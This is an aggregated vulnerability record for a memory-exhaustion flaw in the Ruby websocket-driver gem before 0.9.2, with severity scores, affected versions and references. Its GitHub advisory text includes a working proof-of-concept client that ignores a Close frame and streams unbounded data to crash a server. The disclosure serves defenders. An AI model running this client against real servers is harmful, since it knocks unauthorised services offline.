{"id":"CVE-2026-144294","aliases":["DEBIAN-CVE-2026-144294","EUVD-2026-143532","GHSA-xr87-hm5c-qpwp"],"status":"published","title":"websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.00921,"percentile":0.6152,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true,"poc_reported":true},"cwes":["CWE-770"],"published":"2026-12-03T17:35:05Z","modified":"2026-12-04T22:05:11Z","fixes":[{"ecosystem":"RubyGems","package":"websocket-driver","fixed_in":["0.9.2"],"sources":["ghsa"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]}],"products":[{"vendor":"faye","product":"websocket-driver-ruby"}],"references":[{"url":"https://github.com/faye/websocket-driver-ruby/security/advisories/GHSA-xr87-hm5c-qpwp","tags":["x_refsource_CONFIRM","exploit","advisory"]},{"url":"https://github.com/faye/websocket-driver-ruby/commit/58328fb0c78b733060a59f8d02bbd9b4210b26e3","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/faye/websocket-driver-ruby/releases/tag/0.9.2","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-144294","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xr87-hm5c-qpwp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/144xxx/CVE-2026-144294.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-144294","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-144294","title":"websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.","status":"published","published":"2026-12-03T17:35:05.25Z","modified":"2026-12-03T18:58:21.183Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T19:00:09.777636Z"}],"euvd":[{"id":"EUVD-2026-143532","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.","status":"published","published":"2026-12-03T17:35:05Z","modified":"2026-12-03T18:58:21Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-03T19:33:58.413601Z"}],"ghsa":[{"id":"GHSA-xr87-hm5c-qpwp","title":"websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame","description":"### Summary\n\nA WebSocket server built using `websocket-driver` can be made to buffer data from the client beyond the limit set by `max_length`, if it attempts to close the socket but the client ignores this request and continues to send data on a half-open socket.\n\n### Details\n\nWhen a `websocket-driver` instance calls `close()`, this has the effect of sending a WebSocket Close frame to the other peer. The peer should respond with its own Close frame and then both parties should close the connection.\n\nIf the client ignores the Close frame, and instead continues to send message data, the server will continue to process this data (as it is listening for the client's Close response). However, it does not validate messages as it normally would and fails to reject messages that exceed `max_length`. This happens even if the server closes the TCP socket, as the client can take advantage of TCP's half-open behaviour to keep sending data.\n\nThe client can abuse this to make the server buffer an indefinite volume of data, ignoring the `max_length` setting, until it runs out of memory and crashes.\n\nThis was caused by the driver not enforcing validating on incoming messages. It has been mitigated by making the `close()` method put the parser in a state where `max_length` will still be enforced, and a too-large message will result in it failing the connection.\n\n\n### Proof of concept\n\nGiven a server configured as follows, which responds to an incoming message by invoking `driver.close()`:\n\n```rb\nrequire 'bundler/setup'\nrequire 'eventmachine'\nrequire 'websocket/driver'\nrequire 'permessage_deflate'\n\nmodule Connection\n  def initialize\n    @driver = WebSocket::Driver.server(self, :allow_drafts =\u003e true)\n    @driver.add_extension(PermessageDeflate)\n\n    @driver.on(:connect) { |e| @driver.start if WebSocket::Driver.websocket? @driver.env }\n    @driver.on(:message) { |e| @driver.close }\n    @driver.on(:close)   { |e| close_connection_after_writing }\n  end\n\n  def receive_data(data)\n    @driver.parse(data)\n  end\n\n  def write(data)\n    send_data(data)\n  end\nend\n\nEM.run {\n  EM.start_server('127.0.0.1', 5077, Connection)\n}\n```\n\nA client may connect to this server, send a WebSocket handshake, followed by a simple message, triggering the server's `close()` call. After this, it ignores the server's request to close the socket and instead initiates the sending of a very large message, beyond the size limit normally allowed by the server.\n\n```rb\nrequire 'bundler/setup'\nrequire 'eventmachine'\nrequire 'websocket/driver'\nrequire 'permessage_deflate'\n\nmodule Connection\n  def connection_completed\n    send_data(\n      \"GET / HTTP/1.1\\r\\n\" +\n      \"Host: 127.0.0.1\\r\\n\" +\n      \"Connection: Upgrade\\r\\n\" +\n      \"Upgrade: websocket\\r\\n\" +\n      \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\\r\\n\" +\n      \"Sec-WebSocket-Version: 13\\r\\n\" +\n      \"\\r\\n\"\n    )\n\n    @stage = 0\n  end\n\n  def receive_data(data)\n    case @stage\n\n    when 0 then\n      # masked text frame, FIN = 1, payload 'a' -\u003e server replies with a Close frame\n      send_data([0x81, 0x81, 0, 0, 0, 0, 0x61].pack('C*'))\n      @stage = 1\n\n    when 1 then\n      # ignore Close frame\n      # masked binary frame, FIN = 1, 64-bit payload length = 2^53 - 1\n      send_data([0x82, 0xff, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0, 0, 0, 0].pack('C*'))\n      @stage = 2\n\n      EM.add_periodic_timer(0.1) do\n        chunk = \"\\x00\" * (1 \u003c\u003c 20)\n        send_data(chunk)\n      end\n    end\n  end\nend\n\nEM.run {\n  uri = URI.parse('http://127.0.0.1:5077/')\n  EM.connect(uri.host, uri.port, Connection)\n}\n```\n\nWhen this client connects, the server's memory use will grow indefinitely. After patching, the server rejects the large message and its memory use remains stable.\n\n\n### Impact\n\nAfter a server calls `driver.close()`, an unauthenticated client that ignores the Close frame can make the server buffer unlimited data until it runs out of memory.","status":"published","published":"2026-12-04T22:05:10Z","modified":"2026-12-04T22:05:11Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-12-04T22:29:34.61237Z"}],"nvd":[{"id":"CVE-2026-144294","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.","status":"published","published":"2026-12-03T18:17:26.387Z","modified":"2026-12-04T15:47:41.367Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-770"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T19:19:37.203737Z"}],"osv":[{"id":"CVE-2026-144294","title":"websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.","status":"published","published":"2026-12-03T17:35:05.25Z","modified":"2026-12-04T21:01:22.037618049Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-12-04T21:29:42.913987Z"},{"id":"DEBIAN-CVE-2026-144294","upstream":["CVE-2026-144294"],"description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.","status":"published","published":"2026-12-03T18:17:26.387Z","modified":"2026-12-04T05:00:09.968999741Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-04T05:28:35.416179Z"}]}}
